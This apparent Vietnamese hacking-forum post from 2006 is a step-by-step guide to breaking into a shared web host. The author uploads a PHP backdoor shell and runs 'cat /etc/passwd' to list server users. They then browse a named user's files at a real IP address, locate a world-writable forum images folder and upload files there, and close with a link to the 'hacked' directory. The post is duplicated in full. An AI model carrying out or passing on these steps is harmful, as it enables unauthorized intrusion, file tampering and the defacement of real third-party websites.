taolanamhieu
23-09-2006, 04:29 AM
http://music.easyvn.com/bonamday/thuthuatinternet/NAHIEU.GIF
thoisvcuatoi@yahoo.com.vn
chúng ta reg 1 host để up con backdoor lên,ở đây dung rewview
dùng ftp up con backdoor lên,open nó ra
dùng công cụ để view các user có trong server
theo link
CODE
CODEhttp://www.4u4me.biz/samurai/local.php?c=t
ở dòng chữ in đậm "Shell commands"trong ô đó nhấn ctrl + A rồi del hết,đánh code này vào
cat /etc/passwd;
he he,thấy toàn bộ rồi,chọn 1 user để ta test thử,có rồi lấy cái này đi
drunkens
à ha,server này đi với IP là :67.18.188.42,bởi thế ta sẽ dùng link sau:
CODE
CODEhttp://67.18.188.42/~drunkens/
<--đó là host cùa nó
dùng link này để lô cô ắc tắc
CODE
CODEhttp://www.4u4me.biz/samurai/local.php?&c=l&d=%2Fhome%2Fdrunkens%2Fpublic_html
CODE
CODE/home/drunkens/public_html/
<?phpRemoteView?>
Tên Dung lượng Type Sửa chữa Owner/Group Perms
2_07_pics DIR 31/07/04 23:06 drunkens/drunkens drwxr-xr-x
4-s DIR 28/07/04 22:04 drunkens/drunkens drwxr-xr-x
4-s_user DIR 28/07/04 22:04 drunkens/drunkens drwxr-xr-x
_private DIR 26/05/04 13:05 drunkens/drunkens drwxr-xr-x
_vti_bin DIR 26/05/04 13:05 drunkens/drunkens drwxr-xr-x
_vti_cnf DIR 26/05/04 13:05 drunkens/drunkens drwxr-xr-x
_vti_log DIR 26/05/04 13:05 drunkens/drunkens drwxr-xr-x
_vti_pvt DIR 27/05/04 17:14 drunkens/drunkens drwxr-x---
_vti_txt DIR 26/05/04 13:05 drunkens/drunkens drwxr-xr-x
album DIR 14/07/04 23:01 drunkens/drunkens drwxr-xr-x
cgi-bin DIR 26/05/04 13:05 drunkens/drunkens drwxr-xr-x
dl DIR 31/07/04 20:54 drunkens/drunkens drwxr-xr-x
forums DIR 18/08/04 22:30 drunkens/drunkens drwxr-xr-x
gallery DIR 16/08/04 22:56 drunkens/drunkens drwxr-xr-x
gallery1 DIR 16/08/04 22:58 drunkens/drunkens drwxr-xr-x
other DIR 20/08/04 13:48 drunkens/drunkens drwxr-xr-x
pics DIR 11/08/04 12:09 drunkens/drunkens drwxr-xr-x
public DIR 31/07/04 22:55 drunkens/drunkens drwxr-xr-x
site_pics DIR 17/08/04 11:50 drunkens/drunkens drwxr-xr-x
sonikblue DIR 22/06/04 04:01 drunkens/drunkens drwxr-xr-x
srw DIR 28/07/04 16:48 drunkens/drunkens drwxr-xr-x
test DIR 31/07/04 22:48 drunkens/drunkens drwxr-xr-x
test_page DIR 10/08/04 16:16 drunkens/drunkens drwxr-xr-x
testforum DIR 18/08/04 22:23 drunkens/drunkens drwxr-xr-x
unclean DIR 13/06/04 16:28 drunkens/drunkens drwxr-xr-x
viju DIR 18/08/04 12:23 drunkens/drunkens drwxr-xr-x
.htaccess 491 ò ð 17/08/04 11:45 drunkens/drunkens -rw-r--r--
403.shtml 693 ò ð 16/06/04 21:37 drunkens/drunkens -rw-r--r--
404.shtml 851 ò ð 16/06/04 21:17 drunkens/drunkens -rw-r--r--
_vti_inf.html 1 754 ò ð 26/05/04 13:05 drunkens/drunkens -rw-r--r--
Abit_code.jpg 97 510 ò ð 14/07/04 22:19 drunkens/drunkens -rw-r--r--
about.html 2 233 ò ð 14/07/04 22:19 drunkens/drunkens -rw-r--r--
album.html 979 ò ð 14/07/04 22:19 drunkens/drunkens -rw-r--r--
ball_2004.zip 54 706 532 ò ð 27/05/04 18:05 drunkens/drunkens -rw-r--r--
benchies.html 2 556 ò ð 11/08/04 15:57 drunkens/drunkens -rw-r--r--
index.htm 3 136 ò ð 10/08/04 18:35 drunkens/drunkens -rw-r--r--
index1.html 418 ò ð 27/05/04 17:25 drunkens/drunkens -rw-r--r--
lemondare.txt 1 627 ò ð 27/07/04 22:54 drunkens/drunkens -rw-r--r--
links.html 2 079 ò ð 11/08/04 15:57 drunkens/drunkens -rw-r--r--
listing.html 1 078 ò ð 14/07/04 22:34 drunkens/drunkens -rw-r--r--
rig1.html 3 219 ò ð 11/08/04 16:02 drunkens/drunkens -rw-r--r--
rig1_stats.html 1 429 ò ð 11/08/04 09:42 drunkens/drunkens -rw-r--r--
rig2.html 2 760 ò ð 11/08/04 16:05 drunkens/drunkens -rw-r--r--
rig3.html 2 862 ò ð 11/08/04 16:03 drunkens/drunkens -rw-r--r--
rig4.html 2 909 ò ð 11/08/04 16:08 drunkens/drunkens -rw-r--r--
rigs.html 1 464 ò ð 11/08/04 15:35 drunkens/drunkens -rw-r--r--
style.css 1 974 ò ð 10/08/04 16:16 drunkens/drunkens -rw-r--r--
touch_test.html 1 131 ò ð 14/07/04 22:30 drunkens/drunkens -rw-r--r--
webby.rar 7 249 ò ð 13/07/04 22:22 drunkens/drunkens -rw-r--r--
để ý cái chữ vàng bên trên,nhấp vào folder đó,tìm cái folder nào mà CHMOD là drwxrwxrwx có thể del hay upload 1 file bất kỳ
CODE
CODE/home/drunkens/public_html/forums/
<?phpRemoteView?>
Tên Dung lượng Type Sửa chữa Owner/Group Perms
admin DIR 12/07/04 19:47 drunkens/drunkens drwxr-xr-x
cache DIR 10/07/04 19:16 drunkens/drunkens drwxr-xr-x
db DIR 12/07/04 19:47 drunkens/drunkens drwxr-xr-x
docs DIR 12/07/04 19:47 drunkens/drunkens drwxr-xr-x
images DIR 12/07/04 19:47 drunkens/drunkens drwxrwxrwx
includes DIR 12/07/04 19:47 drunkens/drunkens drwxr-xr-x
language DIR 22/07/04 20:25 drunkens/drunkens drwxr-xr-x
templates DIR 12/07/04 19:47 drunkens/drunkens drwxr-xr-x
common.php 5 415 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
config.php 278 ò ð 18/08/04 22:30 drunkens/drunkens -rw-r--r--
extension.inc 810 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
fantversion.php 28 ò ð 18/07/04 22:50 drunkens/drunkens -rw-r--r--
faq.php 3 643 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
groupcp.php 45 641 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
index.php 14 515 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
login.php 7 123 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
memberlist.php 12 150 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
modcp.php 37 639 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
posting.php 34 446 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
privmsg.php 72 578 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
profile.php 3 753 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
search.php 42 640 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
viewforum.php 23 154 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
viewonline.php 7 234 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
viewtopic.php 45 150 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
mở folder images ra,mở folder avatars nữa và dùng công cụ user posted image để up,
MAKE DIR (type full path) : Tạo thư mục mới trên host
CREATE NEW FILE : Tạo mới 1 file
FILE UPLOAD : Upload 1 file từ trên máy
ok xong rồi,các bác đừng có phá quá nhé greenbiggrin.gif
link hack được :
CODE
http://67.18.188.42/~drunkens/forums/images/avatars/
greenbiggrin.gif[code]
Chúc Các Bạn Thành Công
thoisvcuatoi@yahoo.com.vn
chúng ta reg 1 host để up con backdoor lên,ở đây dung rewview
dùng ftp up con backdoor lên,open nó ra
dùng công cụ để view các user có trong server
theo link
CODE
CODEhttp://www.4u4me.biz/samurai/local.php?c=t
ở dòng chữ in đậm "Shell commands"trong ô đó nhấn ctrl + A rồi del hết,đánh code này vào
cat /etc/passwd;
he he,thấy toàn bộ rồi,chọn 1 user để ta test thử,có rồi lấy cái này đi
drunkens
à ha,server này đi với IP là :67.18.188.42,bởi thế ta sẽ dùng link sau:
CODE
CODEhttp://67.18.188.42/~drunkens/
<--đó là host cùa nó
dùng link này để lô cô ắc tắc
CODE
CODEhttp://www.4u4me.biz/samurai/local.php?&c=l&d=%2Fhome%2Fdrunkens%2Fpublic_html
CODE
CODE/home/drunkens/public_html/
<?phpRemoteView?>
Tên Dung lượng Type Sửa chữa Owner/Group Perms
2_07_pics DIR 31/07/04 23:06 drunkens/drunkens drwxr-xr-x
4-s DIR 28/07/04 22:04 drunkens/drunkens drwxr-xr-x
4-s_user DIR 28/07/04 22:04 drunkens/drunkens drwxr-xr-x
_private DIR 26/05/04 13:05 drunkens/drunkens drwxr-xr-x
_vti_bin DIR 26/05/04 13:05 drunkens/drunkens drwxr-xr-x
_vti_cnf DIR 26/05/04 13:05 drunkens/drunkens drwxr-xr-x
_vti_log DIR 26/05/04 13:05 drunkens/drunkens drwxr-xr-x
_vti_pvt DIR 27/05/04 17:14 drunkens/drunkens drwxr-x---
_vti_txt DIR 26/05/04 13:05 drunkens/drunkens drwxr-xr-x
album DIR 14/07/04 23:01 drunkens/drunkens drwxr-xr-x
cgi-bin DIR 26/05/04 13:05 drunkens/drunkens drwxr-xr-x
dl DIR 31/07/04 20:54 drunkens/drunkens drwxr-xr-x
forums DIR 18/08/04 22:30 drunkens/drunkens drwxr-xr-x
gallery DIR 16/08/04 22:56 drunkens/drunkens drwxr-xr-x
gallery1 DIR 16/08/04 22:58 drunkens/drunkens drwxr-xr-x
other DIR 20/08/04 13:48 drunkens/drunkens drwxr-xr-x
pics DIR 11/08/04 12:09 drunkens/drunkens drwxr-xr-x
public DIR 31/07/04 22:55 drunkens/drunkens drwxr-xr-x
site_pics DIR 17/08/04 11:50 drunkens/drunkens drwxr-xr-x
sonikblue DIR 22/06/04 04:01 drunkens/drunkens drwxr-xr-x
srw DIR 28/07/04 16:48 drunkens/drunkens drwxr-xr-x
test DIR 31/07/04 22:48 drunkens/drunkens drwxr-xr-x
test_page DIR 10/08/04 16:16 drunkens/drunkens drwxr-xr-x
testforum DIR 18/08/04 22:23 drunkens/drunkens drwxr-xr-x
unclean DIR 13/06/04 16:28 drunkens/drunkens drwxr-xr-x
viju DIR 18/08/04 12:23 drunkens/drunkens drwxr-xr-x
.htaccess 491 ò ð 17/08/04 11:45 drunkens/drunkens -rw-r--r--
403.shtml 693 ò ð 16/06/04 21:37 drunkens/drunkens -rw-r--r--
404.shtml 851 ò ð 16/06/04 21:17 drunkens/drunkens -rw-r--r--
_vti_inf.html 1 754 ò ð 26/05/04 13:05 drunkens/drunkens -rw-r--r--
Abit_code.jpg 97 510 ò ð 14/07/04 22:19 drunkens/drunkens -rw-r--r--
about.html 2 233 ò ð 14/07/04 22:19 drunkens/drunkens -rw-r--r--
album.html 979 ò ð 14/07/04 22:19 drunkens/drunkens -rw-r--r--
ball_2004.zip 54 706 532 ò ð 27/05/04 18:05 drunkens/drunkens -rw-r--r--
benchies.html 2 556 ò ð 11/08/04 15:57 drunkens/drunkens -rw-r--r--
index.htm 3 136 ò ð 10/08/04 18:35 drunkens/drunkens -rw-r--r--
index1.html 418 ò ð 27/05/04 17:25 drunkens/drunkens -rw-r--r--
lemondare.txt 1 627 ò ð 27/07/04 22:54 drunkens/drunkens -rw-r--r--
links.html 2 079 ò ð 11/08/04 15:57 drunkens/drunkens -rw-r--r--
listing.html 1 078 ò ð 14/07/04 22:34 drunkens/drunkens -rw-r--r--
rig1.html 3 219 ò ð 11/08/04 16:02 drunkens/drunkens -rw-r--r--
rig1_stats.html 1 429 ò ð 11/08/04 09:42 drunkens/drunkens -rw-r--r--
rig2.html 2 760 ò ð 11/08/04 16:05 drunkens/drunkens -rw-r--r--
rig3.html 2 862 ò ð 11/08/04 16:03 drunkens/drunkens -rw-r--r--
rig4.html 2 909 ò ð 11/08/04 16:08 drunkens/drunkens -rw-r--r--
rigs.html 1 464 ò ð 11/08/04 15:35 drunkens/drunkens -rw-r--r--
style.css 1 974 ò ð 10/08/04 16:16 drunkens/drunkens -rw-r--r--
touch_test.html 1 131 ò ð 14/07/04 22:30 drunkens/drunkens -rw-r--r--
webby.rar 7 249 ò ð 13/07/04 22:22 drunkens/drunkens -rw-r--r--
để ý cái chữ vàng bên trên,nhấp vào folder đó,tìm cái folder nào mà CHMOD là drwxrwxrwx có thể del hay upload 1 file bất kỳ
CODE
CODE/home/drunkens/public_html/forums/
<?phpRemoteView?>
Tên Dung lượng Type Sửa chữa Owner/Group Perms
admin DIR 12/07/04 19:47 drunkens/drunkens drwxr-xr-x
cache DIR 10/07/04 19:16 drunkens/drunkens drwxr-xr-x
db DIR 12/07/04 19:47 drunkens/drunkens drwxr-xr-x
docs DIR 12/07/04 19:47 drunkens/drunkens drwxr-xr-x
images DIR 12/07/04 19:47 drunkens/drunkens drwxrwxrwx
includes DIR 12/07/04 19:47 drunkens/drunkens drwxr-xr-x
language DIR 22/07/04 20:25 drunkens/drunkens drwxr-xr-x
templates DIR 12/07/04 19:47 drunkens/drunkens drwxr-xr-x
common.php 5 415 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
config.php 278 ò ð 18/08/04 22:30 drunkens/drunkens -rw-r--r--
extension.inc 810 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
fantversion.php 28 ò ð 18/07/04 22:50 drunkens/drunkens -rw-r--r--
faq.php 3 643 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
groupcp.php 45 641 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
index.php 14 515 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
login.php 7 123 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
memberlist.php 12 150 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
modcp.php 37 639 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
posting.php 34 446 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
privmsg.php 72 578 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
profile.php 3 753 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
search.php 42 640 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
viewforum.php 23 154 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
viewonline.php 7 234 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
viewtopic.php 45 150 ò ð 12/07/04 19:47 drunkens/drunkens -rw-r--r--
mở folder images ra,mở folder avatars nữa và dùng công cụ user posted image để up,
MAKE DIR (type full path) : Tạo thư mục mới trên host
CREATE NEW FILE : Tạo mới 1 file
FILE UPLOAD : Upload 1 file từ trên máy
ok xong rồi,các bác đừng có phá quá nhé greenbiggrin.gif
link hack được :
CODE
http://67.18.188.42/~drunkens/forums/images/avatars/
greenbiggrin.gif[code]
Chúc Các Bạn Thành Công